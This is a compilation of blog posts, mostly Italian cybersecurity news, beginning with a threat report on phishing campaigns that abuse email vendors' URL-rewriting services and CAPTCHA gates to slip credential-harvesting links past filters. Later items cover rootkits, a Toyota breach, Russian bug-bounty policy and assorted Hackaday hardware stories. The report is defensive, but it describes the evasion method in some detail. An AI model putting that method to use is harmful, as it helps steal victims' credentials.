Come spiegato nel report di “Perception Point” del 19/08 è stato dimostrato l’uso della riscrittura degli URL, una misura di sicurezza che sostituisce i link e-mail originali con versioni modificate. Questi link modificati reindirizzano il traffico attraverso il server di un fornitore di sicurezza per un’analisi delle minacce in tempo reale, offrendo protezione contro minacce note. Tuttavia, è stato osservato che i criminali informatici sfruttano questa tecnica per inviare link malevoli, approfittando della fiducia riposta negli strumenti di analisi e sicurezza delle e-mail stesse.

Dettagli dell’Attacco ed Implicazioni

Innanzitutto esistono due approcci di analisi per la sicurezza delle mail:

I sistemi legacy si basano su analisi statiche dei pattern delle minacce.

I sistemi con approcci più recenti sfruttano l’apprendimento automatico per il rilevamento dinamico proattivo.

Gli aggressori hanno sfruttato i meccanismi di riscrittura degli URL, rendendoli meno efficaci come strategia di difesa autonoma soprattutto in caso della sola analisi statica.

Fig 1: Schema flusso analisi contenuto mail e riscrittura dell’url

Fig 2: Schema flusso analisi contenuto mail e riscrittura dell’url manomesso dall’ attaccante

Questa tattica di elusione, che aggira le soluzioni di sicurezza della posta elettronica tradizionali, ha trasformato uno strumento difensivo in un’ arma offensiva per gli aggressori.

I criminali informatici sfruttano un accesso iniziale con un account di posta elettronica legittimo compromesso e protetto con strumenti/servizi di riscrittura degli URL.

Vengono quindi inseriti domini malevoli nelle whitelist dei sistemi antispam.

Poi vengono costruite e-mail contenenti link dannosi sfruttando all’ inizio il servizio legittimo di sostituzione dei link, per poi manipolarle e sostituire i link malevoli con altri apparentemente legittimi.

L’URL “brandizzato” aggira gli ulteriori controlli di sicurezza, consentendo agli aggressori di reindirizzare le vittime a siti di phishing, sfruttando la fiducia che gli utenti hanno nei fornitori dei servizi di sicurezza.

Esempio 1 – Double Rewrite Attack – Proofpoint and INKY

In uno dei recenti attacchi di riscrittura degli URL intercettati da Perception Point, un sofisticato phishing prevedeva l’uso di una “doppia riscrittura”, in cui venivano sfruttati due fornitori di sicurezza della posta elettronica, Proofpoint e INKY.

E-mail: l’aggressore ha inviato un messaggio e-mail contenente un collegamento di phishing riscritto, camuffato da notifica di un documento di SharePoint legittimo.

Rewrite: l’URL all’interno di questa e-mail è stato inizialmente riscritto dal sistema di sicurezza di Proofpoint (urldefense.proofpoint.com); la stessa e-mail è stata sottoposta a un secondo processo di riscrittura da parte di INKY, incorporando il proprio collegamento di protezione URL (shared.outlook.inky.com) nella prima riscrittura.

Fig 3: Esempio di mail

Bypass CAPTCHA: se il target avesse cliccato sul link, sarebbe stato indirizzato a una pagina di verifica CAPTCHA personalizzata (come mostrato negli screenshot). Questo passaggio è stato aggiunto per eludere il rilevamento dei controlli automatizzati di analisi/intel sulle minacce da parte dei vendor.

Fig 4: Pagina Captcha

Reindirizzamento finale: dopo aver superato il CAPTCHA, l’utente viene reindirizzato a un sito di phishing che imita la pagina di accesso di Microsoft 365 (mostrata nel quinto screenshot), dove le sue credenziali saranno rubate.

Fig 5:Accesso url pagina sito Phishing

Esempio 2: Exploiting Rewritten URLs Across Multiple Targets – Proofpoint and INKY

In questo sofisticato tentativo di phishing, l’aggressore ha utilizzato una strategia che prevedeva la compromissione di un’ organizzazione protetta da INKY e dal servizio di riscrittura URL di Proofpoint. L’aggressore ha generato un URL riscritto utilizzando l’account compromesso e ha quindi riutilizzato questo collegamento per colpire più organizzazioni.

ifg 6 : E-mail: simile al primo esempio: una notifica di SharePoint.

In questo momento , l’URL originale è già stato segnalato come phishing ed è bloccato, come possiamo vedere nella pagina di protezione dei link INKY:

fig 7 : Sistema protezione phishing attivo

Ora, se clicchiamo sul pulsante “Report a Problem“, possiamo dare un’occhiata al modus operandi degli autori della minaccia. Inizialmente, gli aggressori hanno preso di mira un utente protetto che avevano compromesso in precedenza, generando un URL riscritto tramite i servizi di Proofpoint e INKY. Tuttavia, invece di utilizzare questo collegamento solo all’interno dell’organizzazione compromessa, l’aggressore lo ha sfruttato per prendere di mira utenti di varie altre organizzazioni.

fig 8 : Analisi dei link

Gli screenshot rivelano che il destinatario originale dell’URL riscritto (l’organizzazione compromessa) è diverso dai target successivi che Perception Point sta proteggendo. Ciò indica che gli aggressori non solo hanno sfruttato l’URL riscritto, ma lo hanno anche utilizzato in una campagna di attacco più ampia contro più organizzazioni, sfruttando la fiducia riposta nel marchio e nei servizi di riscrittura di INKY e Proofpoint.

Questo esempio evidenzia come gli aggressori possano manipolare le misure di sicurezza per ampliare il loro raggio d’azione, trasformando un singolo punto di compromissione in una campagna di phishing su larga scala.

Esempio 3 : Exploiting Mimecast’s URL Rewriting

fig 9 : Schema riscrittura link

In questo caso, Perception Point ha impedito un attacco di phishing che probabilmente sfruttava il servizio di riscrittura URL di Mimecast per mascherare un link dannoso. Il link di phishing è stato riscritto dal servizio di protezione URL di Mimecast, conferendogli l’aspetto di un URL sicuro (mimecastprotect.com). Tuttavia, la destinazione finale era un sito di phishing (ycnrw8.com) progettato per rubare credenziali.

Esempio 4 : IRS Phishing Attack via Sophos URL Rewriting

In questo potenziale incidente di phishing, Perception Point ha rilevato un attacco in cui il servizio di riscrittura URL di Sophos è stato utilizzato per mascherare un collegamento dannoso.

Email: l’email di phishing è stata creata per apparire come una richiesta di verifica urgente da parte di un’organizzazione legittima (ID.me + IRS). L’URL nell’ email è stata riscritta da Sophos, aggiungendo un livello di legittimità.

fig 10 : Email di phishing con Sophos URL rewrite

L’attaccante ha sfruttato l’URL riscritto fornito da Sophos (protection.sophos.com) per mascherare la destinazione effettiva del phishing. L’URL sembrava sicuro grazie al dominio Sophos, rendendo difficile per il destinatario riconoscere la minaccia.

fig 11 : Analisi dei link

Sito di phishing: cliccando sul collegamento riscritto, le vittime vengono reindirizzate a un sito web di phishing (strategiclandlording.com), progettato per raccogliere informazioni personali sotto le mentite spoglie di un servizio legittimo.

Servizi abusati identificati:

• Mimecast: url.uk.m.mimecastprotect.com
• Barracuda: linkprotect.cudasvc.com
• Proofpoint: urldefense.proofpoint.com
• Darktrace: us01.z.antigena.com
• Intermedia: url.emailprotection.link
• TitanHq: linklock.titanhq.com
• Bitdefender: linkcan.io
• Hornet Security: atpscan.global.hornetsecurity.com
• Viper Security: url2.mailanyone.net
• Topsec: scanner.nextgen.topsec.com

Raccomandazioni

Lo sfruttamento da parte degli hacker delle funzionalità di riscrittura degli URL sottolinea la necessità di innovazione continua nella sicurezza della posta elettronica. Man mano che gli aggressori diventano più sofisticati, le soluzioni di sicurezza devono evolversi per evitare queste minacce, adottando metodi di rilevamento avanzati e l’aumento sempre e comunque della soglia di attenzione prima di accettare un link e compilare con i propri dati.

• Proactive Detection : analizza e valuta gli URL in tempo reale, impedendo agli attacchi di entrare nella posta in arrivo.
• Advanced Anti-Evasion: equipaggiato per annullare tattiche di elusione come CAPTCHA e geo-fencing.
• Post-Delivery and Meta-Analysis: utilizza big data per riesaminare e rivalutare i collegamenti dopo la consegna in modo autonomo.
• Advanced Browser Security : esegue la scansione degli URL al clic, garantendo il rilevamento in tempo reale di qualsiasi attività dannosa.

Fonti:

cyberpress.org/hackers-exploit…

perception-point.io/blog/rewri…

Hackers Exploit Email URL Rewriting to Insert Phishing Links

lexisnexis.com.tw/blog/8kdaja2…

mimecast.com/threat-intelligen…

linkedin.com/pulse/hackers-exp…

L'articolo Una Campagne di Phishing sfrutta la riscrittura dei link dei sistemi di sicurezza proviene da il blog della sicurezza informatica.

I rootkit sono una delle minacce informatiche più insidiose e complesse nel panorama della sicurezza digitale. Il termine “rootkit” deriva dall’unione di due parole: “root”, che in sistemi Unix e Linux si riferisce all’utente con i massimi privilegi, e “kit”, che indica un insieme di strumenti software. Un rootkit, quindi, è un insieme di strumenti progettati per garantire l’accesso privilegiato a un sistema informatico, rimanendo al contempo nascosto agli occhi dell’utente e dei software di sicurezza.

Come Funzionano i Rootkit?

I rootkit operano infiltrandosi nel sistema operativo o in altre componenti fondamentali del software, mascherando la loro presenza e consentendo a un attaccante di mantenere il controllo del sistema per un periodo prolungato. Questa capacità di operare nell’ombra è ciò che rende i rootkit particolarmente pericolosi. Possono essere utilizzati per:

1. Sottrarre dati sensibili: come informazioni personali, credenziali di accesso e dati finanziari.
2. Installare altri tipi di malware: fungendo da “porta d’ingresso” per altri software dannosi come trojan, virus e spyware.
3. Compromettere l’integrità del sistema: manipolando file di sistema, processi e registri in modo che le attività del rootkit non vengano rilevate.

Livelli di Infiltrazione

I rootkit possono operare a diversi livelli del sistema:

• Livello utente: Interagiscono con le applicazioni e i processi dell’utente, sono più facili da individuare e rimuovere rispetto agli altri tipi.
• Livello kernel: Operano a livello del kernel del sistema operativo, cioè il nucleo centrale che gestisce le risorse del computer. Questi rootkit sono particolarmente pericolosi perché hanno il controllo totale del sistema.
• Livello boot: Attaccano il sistema durante la fase di avvio, prima ancora che il sistema operativo venga caricato. Sono tra i più difficili da rilevare e rimuovere.

Differenza tra Rootkit e Altri Tipi di Malware

Per comprendere appieno cosa distingue i rootkit dagli altri malware, è utile confrontarli con altre tipologie di software dannosi:

• Virus: I virus si diffondono replicandosi in altri programmi o file. Possono danneggiare i dati, rallentare le prestazioni del sistema o causare malfunzionamenti, ma generalmente non cercano di nascondere la loro presenza come fanno i rootkit.
• Trojan: I trojan (o trojan horse) si presentano come software legittimi, ma nascondono funzionalità malevole. Come i rootkit, possono fornire accesso remoto al sistema, ma non necessariamente cercano di mantenere questo accesso nascosto nel tempo.
• Worm: I worm sono malware che si diffondono autonomamente attraverso reti informatiche, senza bisogno di attaccare file specifici. Anche se possono compromettere la sicurezza del sistema, non sono progettati per nascondere la loro attività a livello di sistema come fanno i rootkit.
• Spyware: Questo tipo di malware è progettato per spiare l’attività dell’utente, raccogliendo dati senza il suo consenso. Anche se spesso opera in modo nascosto, la sua finalità principale è la raccolta di informazioni piuttosto che il controllo persistente del sistema.

La principale differenza tra un rootkit e gli altri tipi di malware risiede quindi nella sua capacità di nascondere la propria presenza e di garantire un accesso continuato e invisibile al sistema, spesso a livello di kernel o boot. Questo lo rende estremamente difficile da rilevare e rimuovere rispetto agli altri tipi di malware, che possono essere più facilmente identificati attraverso scansioni antivirus o rilevamento di anomalie nel comportamento del sistema.

Conclusioni

I rootkit rappresentano una delle minacce più avanzate e subdole nel campo della sicurezza informatica. La loro capacità di rimanere nascosti mentre garantiscono l’accesso privilegiato al sistema li rende particolarmente pericolosi. La difesa contro i rootkit richiede strumenti avanzati di rilevamento e una conoscenza approfondita delle dinamiche del sistema operativo. Per questo motivo, è essenziale che le organizzazioni e gli utenti privati adottino pratiche di sicurezza rigorose, mantenendo i propri sistemi aggiornati e utilizzando software di protezione avanzati per minimizzare il rischio di infezione.

L'articolo Cosa sono i Rootkit? Alla scoperta di una delle minacce più insidiose proviene da il blog della sicurezza informatica.

Il Ministero dell’Interno ha recentemente rilasciato il consueto dossier di Ferragosto, che fornisce un’analisi approfondita delle attività ministeriali condotte negli ultimi 19 mesi. Questo documento spazia su molteplici temi, tra cui la violenza di genere, le questioni migratorie, la sicurezza e i crimini informatici.

Una delle novità più rilevanti del dossier riguarda gli attacchi informatici, con dati raccolti tra il 1 gennaio 2023 e il 31 luglio 2024. In questo periodo, il Centro Nazionale Anticrimine Informatico per la Protezione delle Infrastrutture Critiche (CNAIPIC) e il Nucleo Operativo per la Sicurezza Cibernetica (NOSC) hanno registrato ben 19.364 attacchi informatici, una media di circa 33,5 al giorno.

Questo dato sottolinea l’aumento della vulnerabilità delle infrastrutture digitali e l’urgenza di rafforzare le difese cibernetiche per prevenire danni significativi.

Oltre agli attacchi informatici, il dossier rivela anche una crescita allarmante dei crimini legati al mondo digitale. Complessivamente, sono stati registrati 88.797 reati informatici, tra cui spiccano 4.252 casi di pedopornografia e adescamento online, che hanno portato all’indagine di 1.972 persone. Le frodi informatiche e le truffe online rappresentano altre aree critiche, con rispettivamente 16.077 e 28.001 casi rilevati, e un numero significativo di indagati.

Il dossier mette in evidenza il ruolo chiave del Servizio Polizia Postale, supportato da una rete capillare di strutture regionali e provinciali. Tra queste, il Centro Nazionale per il Contrasto alla Pedopornografia Online (CNCPO) e il Commissariato di Pubblica Sicurezza Online che svolgono un lavoro fondamentale. Inoltre, a livello regionale operano 18 Centri Operativi per la Sicurezza Cibernetica (COSC) e 82 Sezioni Operative per la Sicurezza Cibernetica (SOCS) a livello provinciale.

Questo quadro generale evidenzia non solo la crescente sofisticazione e frequenza dei crimini informatici, ma anche l’impegno continuo delle forze dell’ordine nel contrastarli.

La cooperazione tra le varie strutture coinvolte e l’implementazione di nuove tecnologie e strategie sono essenziali per affrontare con efficacia queste sfide sempre più complesse.

Questa situazione indica chiaramente che il cybercrime sta diventando un fenomeno sempre più diffuso, attirando anche giovani che, attratti dai facili guadagni, si lanciano in attività di truffa. Per affrontare questa crescente minaccia, diventa essenziale ripensare l’infrastruttura informatica nazionale, centralizzandola e limitando la gestione a livello provinciale e regionale, per garantire una maggiore sicurezza e coordinamento a livello nazionale.

L'articolo Italia sotto Attacco! Sono 33,5 gli Attacchi Cyber al giorno. Occorre iniziare a ripensare all’infrastruttura IT del paese? proviene da il blog della sicurezza informatica.

Il Consiglio della Federazione Russa, l’FSB, il Ministero degli Affari Interni e le società di sicurezza informatica (IS) stanno discutendo la possibilità di creare un registro degli hacker etici e della loro certificazione. Vedomosti ne è stato informato da tre fonti vicine a diverse società di sicurezza informatica. Secondo le loro informazioni, la questione è stata discussa in una riunione a porte chiuse dei rappresentanti del dipartimento all’inizio di agosto.

Artem Sheikin, membro del Comitato per la legislazione costituzionale e la costruzione dello Stato del Consiglio della Federazione, ha confermato che la questione viene considerata come parte del disegno di legge sugli hacker white hat. Nel mese di settembre dovrebbe essere firmata una decisione su questo tema da parte della sezione del Consiglio per lo sviluppo dell’economia digitale della Federazione.

Dall’estate del 2022 si discute della legalizzazione delle attività degli hacker etici che verificano l’affidabilità della protezione della sicurezza delle informazioni dei sistemi IT aziendali e governativi. Poi il Ministero dello Sviluppo Digitale ha iniziato a esplorare la possibilità di introdurre in ambito legale il concetto di bug bounty. Avrebbe dovuto apportare modifiche alla legge “Sulle informazioni, sulle tecnologie dell’informazione e sulla protezione delle informazioni” e all’articolo 272 del codice penale della Federazione Russa “Accesso illegale alle informazioni informatiche”.

Tuttavia, nel 2023, diverse forze dell’ordine si sono opposte alla legalizzazione dell’hacking white hat. Le forze dell’ordine temevano che, se le modifiche fossero state adottate, gli hacker malintenzionati avrebbero iniziato a presentare documenti che confermassero la conclusione di un accordo per testare il sistema informativo per dimostrare la loro innocenza. In questo caso, sarebbe stato più difficile punirli.

Nel dicembre 2023, una versione del disegno di legge elaborata da un gruppo di deputati è stata presentata alla Duma di Stato. Il progetto ha modificato il Codice Civile della Federazione Russa, introducendo i concetti di “white hat hacker” e bug bounty, e ha inoltre stabilito il termine ultimo per notificare all’azienda se viene scoperta una vulnerabilità. Tuttavia il disegno di legge non è ancora arrivato nemmeno in prima lettura alla Duma di Stato.

Attualmente i test di vulnerabilità dell’infrastruttura vengono effettuati in base ad un accordo con il cliente o nell’ambito di un programma bug bounty, le cui regole sono specificate nell’offerta al pubblico. Numerose grandi aziende IT e di sicurezza informatica dispongono di tali programmi. Ad esempio, nel 2023 sono stati effettuati test sui servizi statali, durante i quali sono state scoperte 34 vulnerabilità, la maggior parte delle quali di livello di criticità medio e basso. Il pagamento massimo per un errore riscontrato è stato di 350.000 rubli.

La fonte di Vedomosti in una delle grandi società di sicurezza informatica osserva che le misure proposte per creare un registro e una certificazione dovrebbero garantire il lavoro di bug bounty con infrastrutture significative inclusa l’infrastruttura informatica critica (CII). A suo avviso, ciò legalizzerà molte aree legate alla sicurezza offensiva e preventiva, oltre ad eliminare le aree grigie in cui si trovano attualmente gli hacker etici.

L’interlocutore sottolinea però i punti deboli dell’iniziativa. Nell’attuale situazione geopolitica, un registro accessibile al pubblico degli hacker white hat può diventare un’importante fonte di informazioni per un avversario. Inoltre, i severi requisiti burocratici per entrare a far parte dei ranghi degli hacker white hat per partecipare ai programmi bug bounty possono scoraggiare i potenziali partecipanti. C’è il timore che in questo caso gli hacker vendano le vulnerabilità trovate non alle aziende dietro compenso, ma agli aggressori.

Gli esperti notano inoltre che lo Stato non dispone ancora di strumenti sufficienti per monitorare il rispetto delle norme di certificazione. Secondo loro, è qui che entrano in vigore gli strumenti di mercato. Gli esperti presumono che la comunità sarà contraria alla proposta di regolamento, ma chi vuole lavorare legalmente sarà certificato. La presenza di un certificato può diventare la base affinché aziende e privati ​​accettino la competenza di tali hacker.

Altri esperti dicono che l’idea è mal concepita. Secondo loro, questo porterà al fatto che nessuno vorrà analizzare seriamente la sicurezza del CII e di altri sistemi se ciò richiede l’iscrizione nel registro. Esprimono inoltre preoccupazione per il fatto che i registri in Russia siano spesso soggetti a fughe di informazioni, il che può rappresentare un serio pericolo per i loro iscritti. Si teme che tali specialisti possano essere soggetti a sanzioni personali da parte degli Stati Uniti e di altri paesi e che le loro vite possano essere in pericolo.

L'articolo Un Bug Bounty di Stato proposto nella Federazione Russa. Grandi opportunità e nuovi rischi proviene da il blog della sicurezza informatica.

Here’s a hypothetical situation. You decide to build your own steam generator plant and connect it to the electric grid. No matter where you live, you’d probably have to meet a ton of requirements from whoever controls your electric power, almost surely backed by your government. Yet, according to a recent post by [Bert], a version of this is going on in Europe and, probably, in many more places: unregulated solar power inverters driving the grid.

If you have just a few solar panels hanging around, that probably isn’t a problem. But there are a sizeable number of panels feeding power — and that number seems to grow daily — having control of the inverters could potentially allow you to limit the grid’s capacity or — if the inverters allowed it — possibly take the grid down by feeding power incorrectly back into the grid.

According to [Burt], a small number of companies control most of the inverters in his country — the Netherlands — and there is virtually no regulation about how they operate. While we don’t think he’s suggesting they would act maliciously, you don’t have to search the news very much to find cases where companies have been hacked or made a mistake that caused major impacts to important systems.

Apparently, inverters in the Netherlands do have to meet certain technical standards, but the post since that’s widely unenforced. But the real point is that the companies managing the switches are not regulated or managed. [Burt] thinks that EU-wide legislation is needed to forestall some future disaster.

You might think this isn’t a realistic scenario, but you just have to think about Crowdstrike to realize it could happen. Or other major network outages. We aren’t usually fans of more regulation, but [Burt] makes some interesting points. What do you think?

hackaday.com/2024/08/20/does-s…

There may not be many radio astronomy printouts that have achieved universal fame, but the one from Ohio State University’s Big Ear telescope upon which astronomer [Jerry R. Ehman] wrote “WOW!” is definitely one of them. It showed an intense one-off burst that defied attempts to find others like it, prompting those who want to believe to speculate that it might have been the product of an extraterrestrial civilization. Sadly for them the Planetary Habitability Laboratory at the University of Puerto Rico at Arecibo has provided an explanation by examining historical data from the Arecibo telescope.

The radio signal in question lay on the hydrogen line frequency at 1420 MHz, and by looking at weaker emissions from cold hydrogen clouds they suggest that the WOW! signal may have come from a very unusual stimulation of one of these clouds. A magnetar is a type of neutron star which can create an intense magnetic field, and their suggestion is that Big Ear was in the lucky position of being in the right place at the right time to see one of these through a hydrogen cloud. The field would excite the hydrogen atoms to maser-like emission of radiation, leading to the unexpected blip on that printout.

There’s a question as to whether speculation about aliens is helpful to the cause of science, but in answer to that we’d like to remind readers that we wouldn’t be talking about magnetars now without it, and that the WOW! signal was in fact part of an early SETI experiment. Better keep on searching then!

Meanwhile readers with long memories will recollect us looking at the WOW! signal before.

It used to be that calipers were not a common item to have in an electronics lab. However, smaller parts, the widespread use of 3D printers and machining tools, and — frankly — cheap imported calipers have made them as commonplace as an ordinary ruler in most shops. But are you using yours correctly? [James Gatlin] wasn’t and he wants to show you what he learned about using them correctly.

The video that you can see below covers digital and vernier calipers. You might think digital calipers are more accurate, in practice, they are surprisingly accurate, although the digital units are easier to read.

Regardless of how you read them, there are four main methods of using the device. The big jaws measure the outside of things, and the tips on the other side can measure inner spaces. The video shows how to line up for the best accuracy.

The depth and step measurements are also common features and require care to position correctly, depending on what you are measuring. The step measurement is one we always forget about.

We didn’t realize that when you see CE on the back of your calipers, it might mean “conformité européenne” to reflect standards compliance, or China Export which means… well, probably nothing other than it came from China. How do you tell the difference? The video shows you.

If you have digital calipers, why not hack them? There’s more than one tweak you can make to them.

youtube.com/embed/7u0PIz7deu8?…

In theory, water and electric current will cause electrolysis and produce oxygen and hydrogen as the water breaks apart. In practice, doing it well can be tricky. [Relic] shows an efficient way to produce an electrolysis cell using a few plastic peanut butter jars and some hardware.

The only tricky point is that you need hardware made of steel and not zinc or other materials. Well, that and the fact that the gasses you produce are relatively dangerous.

To that end, [Relic] includes an “I don’t want to explode switch” in the system by routing tubes of gas through a second jar filled with water so that the water will block its return.

Of course, we’ve seen the same setup created with a battery, two coils of wire, and some test tubes, but this can certainly produce more hydrogen faster. Like most of these designs, you can scale them by adding more steel parts. The more surface area, the more gas you’ll produce.

We’ve seen a number of similar generators before, but each one is a little different. If you want to get really fancy, you can turn to automation.

If you want to remap some mouse or keyboard keys, and you use Linux, it is easy. If you use Windows or another operating system, you can probably do that without too much trouble. But what if you use all of them? Or what if you don’t have access to the computer in question? Thanks to [jfedor2], you can reach for a Raspberry Pi Pico and make this handy key-and-mouse remapping hardware dongle.

But you can do more than just swapping control and caps lock because the software is pretty sophisticated. For instance, you can define layers like you might find in a custom keyboard setup — pressing one key can trigger a layer that redefines the functions of all of the other keys. There are programmable macros and a mechanism to differentiate between a key being tapped or held.

Since it also works with mice, you can trigger macros from mouse buttons, or remap your keyboard arrow keys to the mouse’s scroll wheel. And you can configure all of this from a web browser.

On the hardware side, the code supports several different off-the-shelf and custom boards. There’s also a nice enclosure to make it look like an off-the-shelf product. There are also serial and Bluetooth versions of the device, which map them to a USB HID connection.

This has applications for accessible devices. We can also envision it being useful with turnkey devices that you might want to customize without having to reverse-engineer the existing software. Because of the mouse/keyboard cross-functionality, this might have been just the ticket for resurrecting an old light pen, for instance. If you want to dive into the HID spec that makes this whole thing work, we can help with that. What will you do with it?

Since the very beginning, solid-propellants have been the cornerstone of amateur rocketry. From the little Estes rocket picked up from the toy store, to vehicles like the University of Southern California’s Traveler IV that (probably) crossed the Kármán line in 2019, a rapidly burning chunk of solid propellant is responsible for pushing them skyward. That’s not to say that amateur rockets powered by liquid propellants are completely unheard of … it’s just that getting them right is so ridiculously difficult that comparatively few have been built.

But thanks to [Half Cat Rocketry], we may start to see more hobbyists and students taking on the challenge. Their Mojave Sphinx liquid-fueled rocket is not only designed to be as easy and cheap to build as possible, but it’s been released as open source so that others can replicate it. All of the 2D and 3D CAD files have been made available under the GPLv3 license, and if you’re in the mood for a little light reading, there’s a nearly 370 page guidebook you can download that covers building and launching the rocket.

Now of course we’re still talking about literal rocket science here, so while we don’t doubt a sufficiently motivated individual could put one of these together on their own, you’ll probably want to gather up a couple friends and have a well-stocked makerspace to operate out of. All told, [Half Cat] estimates you should be able to build a Mojave Sphinx for less than $2,000 USD, but that assumes everything is done in-house and you don’t contract out any of the machining.

The design is the result of years of research and development that was aimed at distilling a liquid-fueled rocket down to its most basic form. There’s no gas generator, no turbine, no pumps of any kind. Controlling the flow of propellants within the rocket requires only a pair of servo-actuated valves thanks to the ingenious use of dual-acting vapor pressurization. Put simply, the rocket uses one large vertical tank that’s internally divided by a movable piston, with the oxidizer — nitrous oxide — on one side and the fuel — nearly any flammable liquid, such as alcohol or gasoline — on the other. The high-pressure nitrous oxide pushes down on the piston, which in turn pressurizes the fuel.

To get the most out of your investment, the Mojave Sphinx is designed to be entirely reusable. Assuming it makes a soft enough landing, you just need to refill the tank and launch it again. In practice it’s a bit more involved than that, but the team of [Half Cat] say they’ve managed to fly the same rocket multiple times in a single day. The handbook even has a handy maintenance schedule that tells you how often you should check or replace different components of the rocket. For example, it advises replacing the propellant piston o-rings every third flight.

The downside? There’s only so much performance you can wring out a rudimentary propulsion system like this. When compared to more simplistic solid-propellant rockets, the higher mass of the Mojave Sphinx puts the maximum altitude of the 96 inch (2.4 meter) long rocket at around 10,000 feet (3 kilometers). Still, we know plenty of folks who would call that a worthy compromise for being able to say they built their own liquid rocket.

Thanks to [concretedog] for the tip.

Toyota è stata colpita da un massiccio data breach, con 240 GB di dati sensibili esposti su un forum di cybercrime. L’attacco è stato rivendicato dal gruppo di hacker noto come ZeroSevenGroup. I dati esfiltrati sono disponibili al download su un noto forum di cybercrime.

Dettagli

L’infiltrazione ha permesso agli aggressori di esfiltrare una vasta gamma di informazioni, tra cui dati di clienti e dipendenti, informazioni finanziarie, contratti, e-mail e dettagli dell’infrastruttura di rete. Secondo ZeroSevenGroup, l’accesso è stato ottenuto utilizzando lo strumento open source ADRecon, che consente di estrarre informazioni dagli ambienti Active Directory. Gli aggressori hanno potenzialmente ottenuto l’accesso al server di backup, con i file esposti che risalgono al 25 dicembre 2022.

Sul noto forum sono disponibili al download tutti i dati esfiltrati, senza necessità di acquisto, come precisato dal gruppo nei commenti del post.

Immagine del post rinvenuta nel Dark Web

Commento al post precedente rinvenuto nel Dark Web

Implicazioni e Risposta di Toyota

Toyota ha dichiarato che l’impatto complessivo della violazione è stato limitato e che sta collaborando con le persone colpite per fornire assistenza. Tuttavia, l’azienda non ha fornito dettagli specifici sulla data della violazione o sulle modalità di attacco. Questo incidente segue una serie di altre violazioni che hanno colpito Toyota negli ultimi anni, inclusi attacchi ransomware e configurazioni errate nei servizi cloud che hanno esposto milioni di dati personali dei clienti.

Conclusione

Il recente data breach ai danni di Toyota evidenzia ancora una volta l’importanza della sicurezza informatica per le grandi aziende. Nonostante le misure di sicurezza implementate, le minacce persistono e richiedono una vigilanza costante. Toyota ha affermato di aver adottato ulteriori misure per monitorare e proteggere le sue infrastrutture, ma solo il tempo dirà se queste saranno sufficienti a prevenire futuri incidenti.

L'articolo Violazione di Sicurezza in Toyota: Dati Sensibili di Clienti e Dipendenti Compromessi proviene da il blog della sicurezza informatica.

The UK's Competition and Markets Authority (CMA) approved changes to Meta’s commitments regarding how it uses the data from customers using advertising, the authority announced on Tuesday (20 August).

euractiv.com/section/data-priv…

due testi di Luca Zanini

pontebianco.noblogs.org/post/2…

compostxt.blogspot.com/2024/08…

Wireless networking is all-pervasive in our modern lives. Wi-Fi technology lives in our smartphones, our laptops, and even our watches. Internet is available to be plucked out of the air in virtually every home across the country. Wi-Fi has been one of the grand computing revolutions of the past few decades.

It might surprise you to know that Australia proudly claims the invention of Wi-Fi as its own. It had good reason to, as well— given the money that would surely be due to the creators of the technology. However, dig deeper, and you’ll find things are altogether more complex.

Big Ideas

The official Wi-Fi logo.
It all began at the Commonwealth Scientific and Industrial Research Organization, or CSIRO. The government agency has a wide-ranging brief to pursue research goals across many areas. In the 1990s, this extended to research into various radio technologies, including wireless networking.

The CSIRO is very proud of what it achieved, crediting itself with “Bringing WiFi to the world.” It’s a common piece of trivia thrown around the pub as a bit of national pride—it was scientists Down Under that managed to cook up one of the biggest technologies of recent times!

This might sound a little confusing to you if you’ve looked into the history of Wi-Fi at all. Wasn’t it the IEEE that established the working group for 802.11? And wasn’t it that standard that was released to the public in 1997? Indeed, it was!

The fact is that many groups were working on wireless networking technology in the 1980s and 1990s. Notably, the CSIRO was among them, but it wasn’t the first by any means—nor was it involved with the group behind 802.11. That group formed in 1990, while the precursor to 802.11 was actually developed by NCR Corporation/AT&T in a lab in the Netherlands in 1991. The first standard of what would later become Wi-Fi—802.11-1997—was established by the IEEE based on a proposal by Lucent and NTT, with a bitrate of just 2 MBit/s and operating at 2.4GHz. This standard operated based on frequency-hopping or direct-sequence spread spectrum technology. This later developed into the popular 802.11b standard in 1999, which upped the speed to 11 Mbit/s. 802.11a came later, switching to 5GHz and using a modulation scheme based around orthogonal frequency division multiplexing (OFDM).
A diagram from the CSIRO patent for wireless LAN technology, dated 1993.
Given we apparently know who invented Wi-Fi, why are Australians allegedly taking credit? Well, it all comes down to patents. A team at the CSIRO had long been developing wireless networking technologies on its own. In fact, the group filed a patent on 19 November 1993 entitled “Invention: A Wireless Lan.” The crux of the patent was the idea of using multicarrier modulation to get around a frustrating problem—that of multipath interference in indoor environments. This was followed up with a later US patent in 1996 following along the same lines.

The patents were filed because the CSIRO team reckoned they’d cracked wireless networking at rates of many megabits per second. But the details differ quite significantly from the modern networking technologies we use today. Read the patents, and you’ll see repeated references to “operating at frequencies in excess of 10 GHz.” Indeed, the diagrams in the patent documents refer to transmissions in the 60 to 61 GHz range. That’s rather different from the mainstream Wi-Fi standards established by the IEEE. The CSIRO tried over the years to find commercial partners to work with to establish its technology, however, little came of it barring a short-lived start-up called Radiata that was swallowed up by Cisco, never to be seen again.

youtube.com/embed/HFngngjy4fk?…

Steve Jobs shocked the crowd with a demonstration of the first mainstream laptop with wireless networking in 1999. Funnily enough, the CSIRO name didn’t come up.

Based on the fact that the CSIRO wasn’t in the 802.11 working group, and that its patents don’t correspond to the frequencies or specific technologies used in Wi-Fi, you might assume that the CSIRO wouldn’t have any right to claim the invention of Wi-Fi. And yet, the agency’s website could very much give you that impression! So what’s going on?

The CSIRO had been working on wireless LAN technology at the same time as everyone else. It had, by and large, failed to directly commercialize anything it had developed. However, the agency still had its patents. Thus, in the 2000s, it contested that it effectively held the rights to the techniques developed for effective wireless networking, and that those techniques were used in Wi-Fi standards. After writing to multiple companies demanding payment, it came up short. The CSIRO started taking wireless networking companies to court, charging that various companies had violated its patents and demanding heavy royalties, up to $4 per device in some cases. It contested that its scientists had come up with a unique combination of OFDM multiplexing, forward error correction, and interleaving that was key to making wireless networking practical.
An excerpt from the CSIRO’s Australian patent filing in 1993. The agency’s 1996 US patent covers much of the same ground.
A first test case against a Japanese company called Buffalo Technology went the CSIRO’s way. A follow-up case in 2009 aimed at a group of 14 companies. After four days of testimony, the case would have gone down to a jury decision, many members of which would not have been particularly well educated on the finer points of radio communications. The matter was instead settled for $205 million in the CSIRO’s favor. 2012 saw the Australian group go again, taking on a group of nine companies including T-Mobile, AT&T, Lenovo, and Broadcom. This case ended in a further $229 million settlement paid to the CSIRO.

